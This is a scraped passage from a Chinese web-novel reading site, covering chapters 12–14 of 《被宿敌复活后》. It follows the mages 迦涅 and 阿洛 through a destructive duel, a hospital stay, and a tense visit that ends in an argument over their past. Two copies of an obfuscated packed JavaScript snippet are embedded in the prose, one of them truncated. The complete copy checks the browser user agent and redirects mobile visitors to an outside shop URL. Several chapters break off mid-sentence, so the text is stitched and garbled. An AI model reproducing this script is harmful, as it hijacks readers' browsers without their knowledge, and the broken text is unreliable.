震撼过后,观众中有人察觉到了异样,急促地交换起不安的眼神:一柄雷霆之枪的声势和压迫力就足够让空气扭曲,如果一下子飞掷五柄,阿洛真的还能用最简单的护身术防御住吗? 还有一个疑点:之前阿洛展示自己的发明成果,手段从来没激进到这个地步。今天在场的都是卫队自己人,他何必冒那么大风险,又是证明给谁看呢? 阿洛和奥西尼家的恩怨是公开的秘密,联想到这点的人不在少数,一种古怪的紧张感快速地在人群中蔓延。 迦涅和阿洛完全没注意到防护球外的氛围变化。 进入战斗状态后,迦涅的视野就变得宽阔却也狭窄: 她只看得到对手。 哪怕是肢体挪动带来最轻微的空气流动,她也能即刻察觉;而与之相反,任何无关对手的细节则从意识、从眼中彻底淡出。 其实她原本只打算凝聚三柄雷霆之枪,但都怪阿洛笑着看她吟唱施法,从松弛的站姿到闪烁的眼睛,他身上的每个细节都在鼓励她挑衅她,煽动她继续加码,明晃晃地试探她的极限。 最可恶的是,她竟然在此刻的阿洛身上找不到一丝恶意。 有的只是纯然的好奇:他是真的渴望知道她现在能做到什么地步,仿佛他只是一位她阔别多年、想了解她近况的友人。 而这‘无害’的好奇心之下是庞大的自信——他笃定她无法真正伤害他。 一刹那,迦涅心头涌上明晰的杀意。 她要让他好看,证明他是错的。她会让他惊愕让他恐惧。她想要他毁灭消失。 眼下的局面或许还有别的迂回解法,但迦涅选择硬碰硬。只有用绝对的力量碾压阿洛,她才能证明他的魔导师名头也不过如此。 于是她反手拉出第四第五柄长枪。 同时维持五柄雷霆之枪是她眼下的极限,但这已经足够将一整座哨站夷为平地。 阿洛站直了,他的表情并无太大变化,整个人身周的氛围却陡变。他察觉到她动了杀心。 迦涅见状愉快地笑起来,手臂向下猛地一挥。 利器破空嗡鸣,魔力凝结而成的长枪齐齐激射而出,从五个不同的角度朝阿洛迫近。 五柄长枪几乎同时撞上障碍物。装置激发的护身屏障与第一轮交锋时做同样反应,向内凹陷,巧妙地咬住了枪尖。 但其中一柄长枪并未就此稳住。 电光乱窜,枪身剧烈震颤,上下摇晃,挣扎着要顺着屏障内陷的势头继续前冲,眼看着要刺穿屏障,撕出一个破口。 观众中有人惊骇得站了起来,或是用手捂住下半张脸,或是干脆闭上眼睛不敢再看。 迦涅向内虚握五指。 只需要她一个动作,术法结束,所有的长枪都会立刻消失。 她要在那么多双眼睛面前杀人吗?真的要在这里、要现在杀了阿洛吗? 决断的摆锤尚未落定,迦涅体内的魔力基盘仍旧在全力运作,源源不断地输出积蓄的魔力,同时从大地和空气中汲取灵性,转换为维系长枪所需的力量。 与汹涌的魔力一同流经她全身的,是陌生又熟悉、冰冷却也暴烈的毁灭冲动。 她极其缓慢地眨了一下眼睛。 剧烈震颤的那柄长枪霎时爆发出炽烈的雷光,淹没了整座决斗场。 刺目的强光之中,决斗的对手在眼中也只剩下模糊的轮廓。 枪尖穿透护壁时没有声音,但迦涅意识的一部分附着在雷霆之枪上,那层柔韧坚实的防御随枪尖推进撕裂开了一个口子,她感觉得到。 但是缺少标枪击中靶子的回馈实感。 防护壁阻隔的滞涩感随即猛地从侧旁撞上枪尖。 在雷火燎到阿洛的前一刻,护身的魔法屏障再生成功,迅速堵上撕裂的缺口,薄弱处向内凹陷,下部弹出,与雷霆之枪碰撞。 长枪方向顿时改变,擦过阿洛,往左后方飞去。 惊叫一瞬间如潮水涌入寂静的决斗场。 迦涅怔了怔,随即意识到屏障破了个孔——飞出去的那柄魔力长枪撕裂了半球形的防护壁。她立刻捏紧拳头,停止施术。然而飞出去的那柄长枪已然爆鸣着击中阿洛身后的塔楼。 轰! 灰色的石塔如同站得太高的多层庆祝蛋糕,一推就从中间断开,扑棱棱掉落着碎屑,边溃塌边倾覆。 只是一击,五层高的塔楼顶层直接消失。 第四层切割出歪斜的角度,建筑残骸飞出去、顺着切口滑坡。大块的飞石从天而降,眼看着就要砸到中庭边缘没来得及立刻逃开的围观者。 “吹吧,风之号角!”阿洛的声音穿透了人群的呼喝。但他的脸色发灰,念咒明显有些吃力,最后一节甚至破音。 迦涅来不及多想,高声念出相同的精灵语短句。刚念出第一音节她就面色微变,握紧了双拳,才口齿清晰地念完咒语。 来自阿洛和迦涅的两股疾风先后呼啸而出,在中庭两侧各自卷起数块大石。这些石块下落的势头暂缓,随召唤出的风在半空上上下下地翻腾旋转,好像瞬间失去重量,成了轻盈飘浮的羽毛。 卫队成员绝大多数都是法师,争取来的那么片刻时间足够他们各自想办法逃离。 隆隆——数拍之后,重物坠地的巨响此起彼伏。 迦涅呼吸急促,耳中嗡嗡响个不停。 不借助法杖之类的物品施咒相当考验法师的状态和魔力储备,而刚才那两轮共六柄雷霆之枪几乎耗尽了她的魔力,紧接着召唤疾风她已经在勉强自己。她现在需要立刻修整,恢复魔力。 她凭感觉向前迈开步子,身体摇晃。双腿僵硬,不听她使唤,仿佛不属于她。 “迦涅!!” 她有些迟滞地循声看过去,眼球却只捕捉到一抹残影。声音的主人已经到她面前,靠近的速度太快,甚至来不及看清长相。 但她还是认出来是阿洛。 海量的信息涌入脑海,瞬息仿佛变慢拉长。迦涅察觉阿洛正抬头看着她身后,表情怪异,一丝恐惧混在平静的茫然 12.对局-4 《被宿敌复活后》全本免费阅读 睁眼就是陌生的天花板。迦涅腾地坐起,下意识调动魔力,准备发动攻击。 带有强烈攻击性的魔力外溢,正举着药剂瓶确认标签的护士吓了一跳,险些失手摔落药水:“奥西尼小姐?您还不能使用魔力!” 迦涅木然环视房中陈设:淡黄色的墙壁,结实的金属床,单人病房,滑落膝上的毯子边角绣着“克莱芒丝医院”字样。 她低头打量自己,身上还是那件猩红色长袍,沾了许多顽固的尘渍,还有星点暗沉的血迹。再看窗外,天色还算亮堂,大片浅灰的积雨云掩住了碧空。她和阿洛对峙时太阳还明晃晃地挂在高处。 “我昏迷了多久?” 护士掏出怀表看了看:“您是昨天中午入院的。那之后因为魔力枯竭,您一直在昏睡。” “谁送我过来的?” 护士讶异地停了半拍,艰难地寻找了一会儿合适的措辞才回答:“呃,具体情况我了解得也有限,您和其他伤员都昏倒在事故现场,是卫队的一群人把您送过来的……?” “其他伤员?还有几个?” 护士的神色愈发奇异,仿佛她的问题十分不可思议:“只有另一位病人,也安置在这一层。” “他……”迦涅抿唇掐断问句,面无表情地改口,“不,没什么,我什么时候可以回家?” “您的魔力基盘没有受损,我们已经给您喝过两剂灵性药水应急,喝完第三剂您就可以回家修养了。”护士端着托盘走到床边,将银质小瓶和一碟薄荷软糖搁在迦涅伸手就能够到的地方。 迦涅抓起药剂瓶,啵地打开封蜡。 难以形容的刺鼻气味扑面而来,她的胃袋立刻不安地蠕动起来,激烈抗拒接纳这魔药。她熟练地屏住呼吸,仰头将药水一饮而尽。 护士见状惊讶之余又有些钦佩。 迦涅抓了两颗特制薄荷软糖塞进嘴里,药水遗留的怪味很快消失了。她这才注意门边不知何时多了一个人。 褐发蓝眸,是卫队的艾尔玛。 “索博尔小姐,请进。”迦涅讶然打招呼。 护士侧身让艾尔玛通过,微笑着往外走:“那么我现在就请医生为您签署出院许可。” 艾尔玛拘谨地站在床边:“您刚才在喝药,我就在门口站了一会儿,没立刻向您问好。” “请坐,”迦涅摇摇头表示自己不介意,在床头柜里翻找,以闲聊的口吻问,“昨天让你受惊吓了,其他人都没事吧?” 艾尔玛坐姿端正,双手交叠放置在身前,闻言,她的指尖别扭地绞在了一起。她停顿片刻才说:“防护壁外没有人受伤,很多人都说那是个奇迹……” “那就好。”迦涅没抬头,她终于在一堆给病人消遣的读物下面找到了信纸和羽毛笔。 “我要写个便条,麻烦稍等。”她说着刷刷几笔报了个平安,召唤出妖精信使送往流岩城,而后提笔写送往千塔城宅邸的另一封短信。 艾尔玛耐不住寂静,找了个话题:“您好厉害,居然可以面不改色地喝完一整瓶灵性药水,我第一次喝的时候直接吐了。” 迦涅第二次送走妖精信使,抬头向艾尔玛会意地弯了弯唇角:“我也吐过。” 喝灵性药水喝到吐大概是每位法师的必经之路。迦涅能坦然豪饮这恶心的药水,也只是因为她经受严苛的训练时常常濒临魔力枯竭,每次都免不了喝上几瓶恢复魔力。 “真是难以置信,居然至今也没人改造出好喝的灵性药水……”艾尔玛嘀咕到一半就迟疑地顿住,坐得更直,“总之,您没事就好。” “多谢关心,”迦涅靠在床头,口气温和地询问,“有什么是我能为你做的吗?” 艾尔玛眼神闪了闪,有些慌乱地避开了迦涅的视线:“我……” 迦涅大致猜到对方的来意,没有催促。 艾尔玛重新坐直,诚恳地看着迦涅的眼睛,艰难地说道:“我负责封闭场地,却出了那样的事……是我能力不足。我愿意接受处罚。” 说着说着,她的耳朵和脖子都红了。 迦涅没有立刻答话,安静地注视了艾尔玛片刻。 褐发法师开始还坐得十分端正,但在迦涅探究的注视下,她很快不自在起来,几次想要在椅子里挪动身体,都强行忍住了。 艾尔玛还是有些怕她,也并不完全认可她这个队长。迦涅做出判断。但她刚才的检讨又不像是出于对她的恐惧,而是习惯性地遵循某些朴素的法则行事—— 比如做错了事就要承担责任,应当亲自向被波及的人道歉。 迦涅不讨厌这样简单好懂的人。她原本还想问艾尔玛,在旁观者的眼里最后是她还是阿洛赢了,但对方大概会把这个问题视作刁难。 她于是适时挪开视线,不再继续用无言的注视给对方增加压力:“你知道那场较量的真实性质。” 艾尔玛张了张口,几乎要问他们究竟为什么要决斗,最后还是没能开口。 迦涅没注意到对方的复杂心绪。她看着病房窗外的雨云,声色很淡:“是他低估了我的法术强度,让你承担了本不该承担的责任。” 顿了顿,她哂然摇头:“总之道歉就不必了,更不要说什么处罚。” “不,我还是……”艾尔玛站起来又坐下,一时显得有些踌躇无措。 最后,她像是下定了决心,从小提包里摸出一枚蛇形护符,双手拿着递过来: “这是我请家里长辈帮忙一起制作的护身符,可以帮助您加快吸收灵性的速度。您或许不需要,但无论如何,请您收下,祝您早日康复。” “谢谢。”迦涅接过银质护符,精细的蛇鳞纹路触手立刻传来淡淡的暖意,让人想起冬日隔着玻璃洒在脸上的柔和日光。 她讶然多看看了艾尔玛一眼。这护符的制作水准相当高超。 但这一看,她就连带着看向门边,眼睛霎时瞪大: 穿着宽松病号服的阿洛正慢吞吞地从病房门口晃过去。他状似不经意往房间里扫了一眼,与迦涅恰好视线相撞。 她注意到的第一件事竟然是某个滑稽的细节:阿洛头上缠了两圈绷带,脑袋两边各有一蹙头发从绷带下逃脱,不服帖地翘得老高,像动物竖起的耳朵。 她险些笑出声来,但又觉得不该被阿洛逗乐,表情顿时僵硬。 艾尔玛察觉到异样,这时也回过头去。她比迦涅还要震惊:“阿洛?!” 阿洛懒洋洋往门边一靠:“我在走廊上散步,正好路过。” 艾尔玛看了看阿洛,又看了看迦涅,不太确定地起身:“如果二位有事要谈……” “我只是路过。”阿洛重申。 迦涅吸了口气,蓦地掀开毯子,从病床上蹦下来,步伐带风地直奔门边。 阿洛没有后退,只在她气势十足地走到面前时缓慢眨动了一下眼睛。而后,他伸手触碰自己头上的绷带,像在估量如果她暴起动手,自己有多大的生存几率。 这么面对面才看清楚,他的脸色是失血的苍白,居然和绷带的颜色有些相近。 迦涅猛力将这个发现从脑海里挤出去。简单道个谢就结束了,她就不欠他人情了。她在心中反复默念,正要开口,走廊上却在这时响起一声惊呼: “沙亚阁下!!” 终于去而复返的护士惊诧地瞪着阿洛,一张签署好的文件落到地上。 随着她的这一声惊呼,走廊深处快步赶来另外两名护工。他们气势汹汹地朝阿洛逼近,熟练地一左一右包抄,架住他的胳膊就走:“已经和您说过很多次了,身体强化术只是强化不是改造!您的伤比看起来要严重得多,还不能下床活动!” 阿洛高声抗议,听上去精神极了:“放轻松,先生们,放轻松,我的腿没断,可以自己行走。” 迦涅目瞪口呆地看着阿洛惨遭押送。他的病房原来在走廊另一头,这一层和她距离最远的那间。 安排病房的人大概对他们的关系恶劣略有耳闻,倒是额外费心了。 “他不是第一次擅自跑出病房了?”迦涅问。 “沙亚阁下不愿意住院,已经好几次趁护工不注意溜到走廊上。无论如何,是我们看护不周,让别的病人打扰到您了……”护士笑得有些勉强,生硬地转开话题,“奥西尼小姐,这是您的出院许可。” “保险起见,今天和明天请您尽可能不要使用魔力,五天内不要发动大规模的法术。背面还列了一些推荐的补充药剂。本次的账 13.探视-1 铭牌下方有个门环,表面锈纹斑驳,迦涅稍稍踌躇,最后还是放下小皮箱,嫌弃地用两指拈起铜环,大力拍了两下。 雨点敲打伞面,扑簌簌一串鼓点,衬得周围的寂寥更为清晰。 迦涅扁嘴,干脆伸手去推金属栅栏门。上锁了。 如果是平时,她会直接拆锁强闯。但法师的宅邸大都设置了针对入侵者的机关,按照医嘱,她今天还不能使用魔力,她没把握安然无恙地突破阿洛的手段。 于是她又重重拍了好几下门环。 啪的一声,门环中间冒出一个巴掌大的幻影,竟然是个等比例缩小版本的半透明阿洛。 这迷你阿洛一副冷淡的客气模样:“十分抱歉,现在我不接待客人。请留下名片或是信函,我会改日答复。” 大概来客多敲几下门,这个逐客机关就会自动启动。 迦涅翻了个白眼,无视迷你阿洛,继续哐哐地拍门环,加速的动作透出不耐烦。 她这么疯狂拍门都没惊动宅第主人,也没有仆役出来查看情况,未免有些诡异。那家伙强撑着提早出院,不会昏死在自己家里了吧?这个猜测突兀地冒出来,她拍击门环的节奏缓了半拍。 这种离谱的事完全可能发生在阿洛身上。以前就是那样,受伤挨训斥他都不会表现在脸上,要他示弱还不如要他的命。 迦涅用力抓住雨伞柄,深吸的一口气吐出来时成了冷哼。就算阿洛自己找死,那也要等她对他道过谢、心里舒服了,他才能死。 她更加用力地用门环敲击砖石,在心里默数,一、二、三……到十阿洛再不出来,她就动用携带的魔法道具破坏大门。 迦涅数到八的时候,宅邸侧门忽然开启。一道人影在门边定格须臾,穿过雨幕直奔大门而来。 只看走路姿势她就知道是阿洛本人。迦涅惊讶之余又有些戒备。这家伙不派管家男仆或是傀儡之类的来应门,他难道是来亲自赶人的? 眨眼之间,阿洛已经近了。 他在麻衬衣外面披了件晨袍,仿佛刚从床上爬起来。到大门的路不长,但傍晚的这阵秋雨声势浩大,他的肩头领口立刻湿漉漉地深了一片。 雨水浸润之下,他头上的纱布透出了肌肤和发丝的颜色,还有几缕头发贴在了额头和颊侧。 阿洛却像是完全没有察觉,又或是根本不在乎伤口淋湿。雨珠顺着睫毛淌下来,他眯起双眸。即便这样,他的视线仍旧穿过雨帘和金属门的阻隔,牢牢定在迦涅脸上,要将她看清楚。 就如同他突然不认识她了。 “你的伞呢?”开口之后迦涅先愣了愣。 阿洛自顾自问:“你为什么在这里?” 他看上去真的很想知道答案,她忽然就恼火起来:“我也不知道!” 斜风吹歪雨丝,冰凉的水珠打上迦涅的脖颈,滚进衣领内侧,她一个激灵,不快地绷起脸:“所以你到底让不让我进来?” 阿洛明显迟疑了一下,没有问她的来意,沉默地抬手打开机关。 金属大门吱呀抱怨着开启,迦涅俯身拎起皮箱,再抬眼看的时候,阿洛已经飞快地走到前面去了。 这倒是免了她为要不要分他一小半伞面挡雨而纠结。 迦涅提着袍脚踏上侧门台阶顶端,阿洛从她手里接过长柄伞,收拢后随意靠墙搁着。他态度自然,她不由多盯了他一眼,抬起拎着的小皮箱,左右张望:“侍者呢?” 她习惯了进门时有人立刻拿走她手里的所有东西。 “没有。”阿洛坦然回答。 “什么?” “我这里没有可以帮大小姐拎包的仆人。”他似笑非笑的,表情却没有恶意,似乎只是顺口调侃她的做派。 迦涅没搭腔,一脸“我自己也会拿包”,下巴矜持地抬了抬,示意对方带路。 阿洛居然没和她多抬杠,沉默地领她穿过门厅后的走廊。 墙上的魔法烛台在脚步声靠近前啪地亮起,迦涅不动声色地打量四周。 这座老宅应该至少有两百年历史,左右对称,侧翼狭长,从上方看呈H字型。 这是第二纪元魔法家族宅邸的经典构造。 中间那一横较宽,是主人一家的日常活动区域,也往往是塔楼所在之处。两边侧翼则是客房、厨房和仆役的生活区,还有仓库和进行各种魔法研究的特殊房间。 迦涅撇了撇嘴:虽然这里内部装饰太过素净,甚至略有些寒酸,但至少从建筑规模和格局上来说,这栋宅第确实符合魔导师的身份。 阿洛似乎对她的复杂心境一无所觉,沿着走廊往前走,经过连通中央区域的门也没有停下。 迦涅讶然放缓步调。 阿洛立刻察觉,转过身看她,质询地抬起眉毛。 和宅子主人谈论房屋构造未免有些荒谬,她压抑着情绪指着虚掩的双开木门:“主会客厅不在那里吗?” 如果他打算搞‘特殊待遇’,故意挑破烂的房间招待她,她一秒钟都不会多待。不要说道歉了,带来的东西她也会立刻砸给他看。 黑发青年闻言了然仰了仰头:“你可以打开门看。” 迦涅狐疑地走过去,小心将木门推开一条两指宽的缝隙,谨慎地后退半步拉开距离。 阿洛在她身后噗嗤笑了,她就当没听见。 门后黑漆漆的,走廊上的烛火只足够隐约照出室内陈设的轮廓。也不需要迦涅细看,扑面而来的灰尘霉味已经给她答案: 这大宅的中心区域废弃着,已经许久没有人居住。 迦涅难以置信地回头。买了栋气派的大房子,却把最该精心打理的部分扔着不管?!她实在难以理解阿洛在想什么。 他耸肩,坦然说道:“中间的套间全都互相连通,上下直通塔楼和大厅,要整修就必须一起动工。我一个人住,与其在这种不必要的事上多花钱,不如多买些魔法材料。” 那买座没那么大、保存状况更好的宅邸不就好了? 确实有初来千塔城的法师砸巨款购置大宅撑场面,但阿洛根本不需要以这手段虚张声势,他的自信不需要宏伟的梁柱支撑就已经足够庞大。 难道还有什么隐情? 问句已经到了嘴边,迦涅硬生生咽了下去。他要住哪、怎么住终究是阿洛的私事,由她来评判哪里都显得奇怪。 侧翼的拼花地板潦草维修过,看着还算平整,踩上去就会轻声怪叫。阿洛和迦涅一前一后地走着,两重吱呀细响此起彼伏,谁都没有开口。 奥西尼家的主城没有这样疏于维护的走廊,但这情境似曾相识。迦涅果断切断思绪,认定是这噪音让她突然心浮气躁。 但她也真的不知道自己为什么在这里。 阿洛停下脚步时她没反应过来,差点一头撞进他的后背。 他急忙侧身避让。 两人不约而同装作无事发生,转而面朝同一扇门。轻微的机械运作声从门下传出来,这里显然才是阿洛的日常活动空间。 他没立刻邀请她进去,反而神色古怪地看了她好几秒。 迦涅怀疑他也突然后悔了。 “请吧。”阿洛终于推开门。这里原本应该是客房套间的会客室,眼下凑合着同时充当厨房和餐厅。 “茶?”他礼节性质地询问,不等迦涅作答,人已经往壁炉走过去。 壁炉里面没有柴薪,用金属架搭起一个小灶,他打了个响指,幽蓝的魔法火苗立刻凭空冒出, 迦涅环顾四周,没找到第二个人的影子。她看着阿洛往铁壶里倾注清水,带了点惊异地念出结论:“你一个仆人都没有雇佣。” 黑发青年给她一个湿漉漉的背影,打开茶叶罐凑到鼻尖闻了闻:“我能生活自理。” “有客人的时候怎么办?你还会给所有人做晚餐?” 他回头看她一眼:“没有客人。” 迦涅无声回了个“哈?” 阿洛抱臂往墙上靠,也不怕压到后背的伤口:“城里那么多可以喝酒吃饭的地方,我为什么要把事情带回家?” “但是我听说你经常招待银斗篷成员。” 他理直气壮:“大厅那个样子没法招待客人,所以我会在外面请他们喝酒吃东西。” 迦涅哑然。 水壶里咕噜噜作响,上浮的气泡音淹没无法启齿的疑问。 她坐着,默读长餐桌另一头堆积的书籍脊背上的文字。阿洛站在壁炉前,魔法家务道具在他的指挥下飞来飞去,又是清理擦拭茶具,又是调整茶叶的剂量。 等待茶沏好的数分钟,谁都没有开口。交换的眼神也没有。窗外雨落如带,淅淅沥沥。 五分钟到,计时的猫头鹰型小座钟扑腾着连声鸣叫。阿洛随手按掉闹铃,用指节敲茶壶盖,胖墩墩的瓷质茶壶便飘起来,深红的茶柱精准注入杯子。 他的身体突然僵了一下。 “怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无言的尴尬填满空气,随时能化作窗户上的水滴淌落。 “所以,你来干什么?”终于,阿洛若无其事地开口。 迦涅暗中舒了口气,顺势搁下茶杯:“昨天决斗时我对你动了杀心,你应该也知道。但之后你还是救了我,我必须有所表示。在医院时没找到机会,你的住址也不是机密,我干脆直接过来了。” 她这番话直白得不能更直白,阿洛一时无言以对。 “所以,你……还好吧?” 阿洛困惑地沉默,慢了半拍才意识到迦涅在问他的伤情。 “没什么大事。死不了。”他含糊道。 迦涅怀疑地打量他。据她所知,塔楼外立面的一整块直接砸在了他的身上,头部和背部都有大面积外伤。即便他的身体比常人耐打许多,也不可能一天半就完全恢复。 她转念想,就算阿洛在逞强,那又和她有什么关系? “是吗,没事就好。那我就继续说了。那个时候你没必要跑回来的,”她没给他机会否认,看着他的眼睛,“谢谢。” 黑发青年不禁站直身体,旋即侧过脸回避她的注视,半秒后却又转回来,吐字有些生硬:“你为了让其他人有机会逃生才耗尽魔力,这份人情我亏欠不起。我救你没别的原因。” 她原本也没觉得他是顾及着旧日情谊才那么做。迦涅无声反驳,神色几乎没有变化。 阿洛见她表情平淡,反而沉默了须臾,而后才继续梳理他们之间的人情有无:“还有,如果不是你启动了手环,我不可能只受这点小伤。总之,你不欠我什么。” 他居然比她还害怕她自认对他有所亏欠。 至于她那时候抱有杀意那件事,他居然完全不问,就那么坦然地接受了。 迦涅扯了扯嘴角,起身朝放在桌子下的皮箱示意:“你需要的药水在箱子里。我也差不多该告辞了。” 语毕她就往门边走。 阿洛却追上来一步:“你没有乘家里的马车过来?” 答案显而易见,问话莫名其妙,迦涅干脆没作答。 离开克莱芒丝医院之后,她先去熟识的药剂工房转了一圈,而后才在街角招了一辆短途出租马车,在距离这座大宅两个路口的地方下车。 其实即便有人发现她拜访阿洛也没什么,但她还是下意识略作遮掩。 “天黑之后这附近出租马车就很少见。” 阿洛停顿片刻,雨点叩击窗户的缓急变化愈发清晰。他清了清嗓子:“雨还大,你要再坐一会儿吗?” 14.探视-2 “不要。”迦涅即答。 阿洛表情冻结为一片空白,好半晌,他才眨了眨眼。 她的嗓音绷得更紧,紧紧相扣的三连短问句一重比上一重尖利:“再坐一会儿干什么?聊天?我们有什么可聊的?” 阿洛答不上来,急剧闪烁的绿眼睛透出懊恼。 这份懊悔是罪证,证明他刚才有那么一瞬确实以为他们之间出现了转机。然而那只是单方面的错觉。 迦涅心中的怒火不曾真正熄灭,他伸来的橄榄枝不合时宜,反而成为助燃的柴薪。 迦涅面无表情地看着阿洛,她个头明明不及他,这一刻却仿佛居高临下。 “昨天我已经说得足够清楚,我不可能和你当朋友。我们的决斗只是被迫中止了,你的防护壁已经被我击穿,第三招我也还没出,我不觉得自己输了。我来这里也只是尽应有的礼节。” 阿洛苍白的脸颊腾地升起鲜明的血色。 她视而不见地说下去:“受人救助却不道谢太失礼了,我心里过不去。仅此而已,没有任何其他意思。” 他深吸一口气,挤出个嘲弄的笑:“我也只是尽应尽的礼节,没有指望大小姐你真的会赏脸留下。过度解读的人是你。” 迦涅抱臂看着他,笑笑的表情像利刃,轻巧挑破阿洛努力维系的体面。 恼怒的薄红从脸颊蔓延到阿洛的眼下,他蓦地朝她前进两大步:“好,就当是我读错了气氛,自作多情想挽留你多待一会儿,但那又怎么样?想和曾经最珍视的朋友修复关系很奇怪?一次次看我误会你的态度,然后碰壁很有意思?” “修复关系?”她嗤笑,“你的诚意是口头说出来的吗?到现在我没看到任何实际行动。” “我上次就说得很清楚,这个卫队长我不当也无所谓。只要你有心合作,我可以和你一起好好经营卫队。但你拒绝合作,还一副要把卫队夺走再放任它自生自灭的态度。难道我就要眼睁睁看着你毁掉我好不容易才得来的一切” 语速太快,阿洛咳嗽起来,笑弧反而自嘲地加深:“我以为昨天都那样了,你对我的怨气也该发泄得差不多,你主动过来是个好的信号。好,是我错得离谱。” 迦涅也抬高声调:“如果你真的想和我重新做朋友,那么再见面以来,你是不是至少该想到问候一句我母亲怎么样了?!” 阿洛僵硬地绷紧嘴唇。 迦涅嗤笑:“无论如何,她都是带你进入魔法领域的老师。她突然不再公开露面,哪怕谈不上担心,你不觉得奇怪吗?我突然提前接掌家族传承,如果家主好好的,可能吗?” “她——” 迦涅不给阿洛发问或是辩解的机会:“你会想不到奥西尼家内部不正常?五年前、三年、现在都一样。你只是不在乎!你关心的只有我抢走你的队长位置,阻碍了你的远大前程。” 恼怒到极点,阿洛的脸色反而又苍白起来。 “被驱逐的学徒有什么资格去过问家主是否安好?每个与奥西尼家有关的人看到我都像路过垃圾堆,一个眼神都懒得施舍,恨不得屏住呼吸。你倒是告诉我,我能和谁联系、向谁打听?” “你忘了怎么召唤自己的信使?还是不记得怎么叫我的信使帮你送信?哈,你的记性什么时候糟糕成这样了?” “明明是你先切断和我的联系。我给你写过信,”阿洛尖刻地轻笑,摊开空空的掌心给她看,“回信在哪里?” 迦涅盯着他掌心新增添的擦伤淤痕:“什么信……?” 阿洛还她一个“何必装傻”的眼神。 她硬声回:“就算我没回信,你就不会再写——”话说到一半就戛然而止。再继续就好像她盼着他给她写第二、第三封信,直到她回信都不放弃。 但是话说回来,阿洛真的给她写过信?迦涅在记忆的角落翻找起来: 十六岁生日前夕,一切仿佛都完美得不能更完美。那时她是打破最快升格记录的新晋魔法师,喜爱的人们环绕身侧,每个都才华横溢,或许脾气古怪,但根本上友好并且善良。 迦涅往明天、往更远的未来展望,见到的全部让她心喜,就连呼吸都轻盈雀跃——有那么多事等着她去做,她也感觉自己什么都做得到。 阿洛是雪崩前显露异状的第一片雪花。 他离开和来到奥西尼家同样唐突、毫无预兆。早晨他还让迦涅猜他给她准备了什么生日礼物,过了中午他已经从流岩城消失。 满眼天真的玫瑰色退潮之后,迦涅回头审视,知道自己所见的绝非事情全貌。 流岩城的一张张友善面孔下藏着毒蛇。那之后半年不到,她的世界翻天覆地。署名给她的信件是雪白的洪水,天天早晨都覆盖一整张桌子。每个写信人都对她有所求,其中超过一半的人将轻慢藏在安慰的词藻下,深信她年幼可欺,可以趁机从她这里撕扯下一块肉。 迦涅生平第一次对拿起拆信刀这件事产生抵触情绪。有一些她看了发件人就没有拆,后来筛选发件人都太花时间,她就让贾斯珀先过目,挑出有必要一看的阅读。 或许那里面真的有某一封来自阿洛的信。她没有印象,无法确定。 而在她没看见的地方,阿洛大概也早已经和她母亲争吵过许多次。她足够了解阿洛的野心和志向,甚至可以猜出他的哪些论调会真正激怒母亲。 分歧无法调和,而阿洛又是那样的脾气,所以他才会在那一天面临决断时,毅然选择抛下在奥西尼家的三千多个日夜,立刻一无所有地离开。 迦涅现在已经很少去考虑虚无缥缈的如果,可阿洛也是母亲骄傲的学生,如果那之后的日子里他在她身边,如果他没有叛门…… 没有如果。 迦涅知道是迁怒,可是,可是。 控诉的词句像有自己的意志,燃烧着自她的唇间激射而出:“从你叛离开始,我的人生就彻底乱套了!在我最辛苦的时候你不在,事到如今,我凭什么要允许你重新进入我的人生?!” 阿洛身体晃了一下,仿佛被无形的箭矢击中。 他苍白着脸,唇线压抑地颤抖了须臾,最后高高上扬,定格为嘲讽的笑弧:“哈!要翻旧账?那么我们就好好算一算,看看究竟是谁亏欠更多!” “难道不是你先把我驱逐出你的人生?我还想问,你又凭什么?凭什么你要再次把我的人生弄得一团糟?!” 天外飞来的指控让迦涅错愕到暂时失语。但反击的本能即刻恢复运作:“你在胡说什么?” 阿洛嗤笑:“我不提你是不是就觉得我已经忘了?还是你以为我不知道?如果你没有向伊利斯告密,她怎么会知道我在《十一条宣言》下签名?” 《十一条宣言》这个敏感的词眼一出,迦涅脸色微变:“这才是母亲决意驱逐你的导火索?” 五年前,某座魔法高等学府的年轻法师起草了《十一条宣言》。他们大力抨击玻瑞亚魔法界现状,并提出诸多要求。 其中包括增加高等学府学生席位,解禁大批封存的古老魔法知识,进一步缩减普通人使用魔法物品的限制等诉求。这些都是革新派法师一贯的主张,并不稀奇。 真正在整片大陆上引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913390|134885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发巨大浪潮的是宣言的第十和第十一条: 放宽晋升格位的严苛考核条件,削减以古典魔法为基准的考察项目; 修改现有对“魔法”的定义,认可有别于古典魔法传统的新魔法,拓展玻瑞亚的魔法体系。 这份文件原本只是革新小团体内部的纲领,却因为大胆冲击古典学派的强势地位,以不可思议的速度传开,进而引发魔法界的巨大政治动荡。 起草《十一条宣言》的法师们被立刻剥夺资格,驱逐出原本所在的学府。 这一强硬举措只激起更强的余波,起草者被革除学籍的第二天,施加了特殊感应魔法的纸质宣言开始在玻瑞亚各处散布:只要在任意一份宣言上签名,署名者的名字就会出现在其他所有宣言上。 没过多久,特殊版本的《十一条宣言》就成了一份古典学派反对者名单。 奥西尼家是古典学派的中坚力量,自然不可能允许自家的学徒签署这样的反叛宣言。 母亲为何会突然驱逐阿洛,为何对具体缘由绝口不提……数年前的疑点终于获得解答,迦涅脸上失去表情。 她语气平板地说:“我没有告密。在你刚才自曝之前,我甚至不知道你签了名。” 他们曾经可以轻松辨识出对方是否在说谎。惊疑在阿洛脸上出现又消失。 但毕竟曾经是曾经。 “伊利斯和我对峙时已经态度非常肯定,她有确凿的证据。你也知道她摆出那种态度时,我再否认也没用了。我确保了签字没人在监视我。所以只能是有人泄密。” 他加重咬字,仿佛在用每个词锤碎刚才自己一瞬间的动摇。 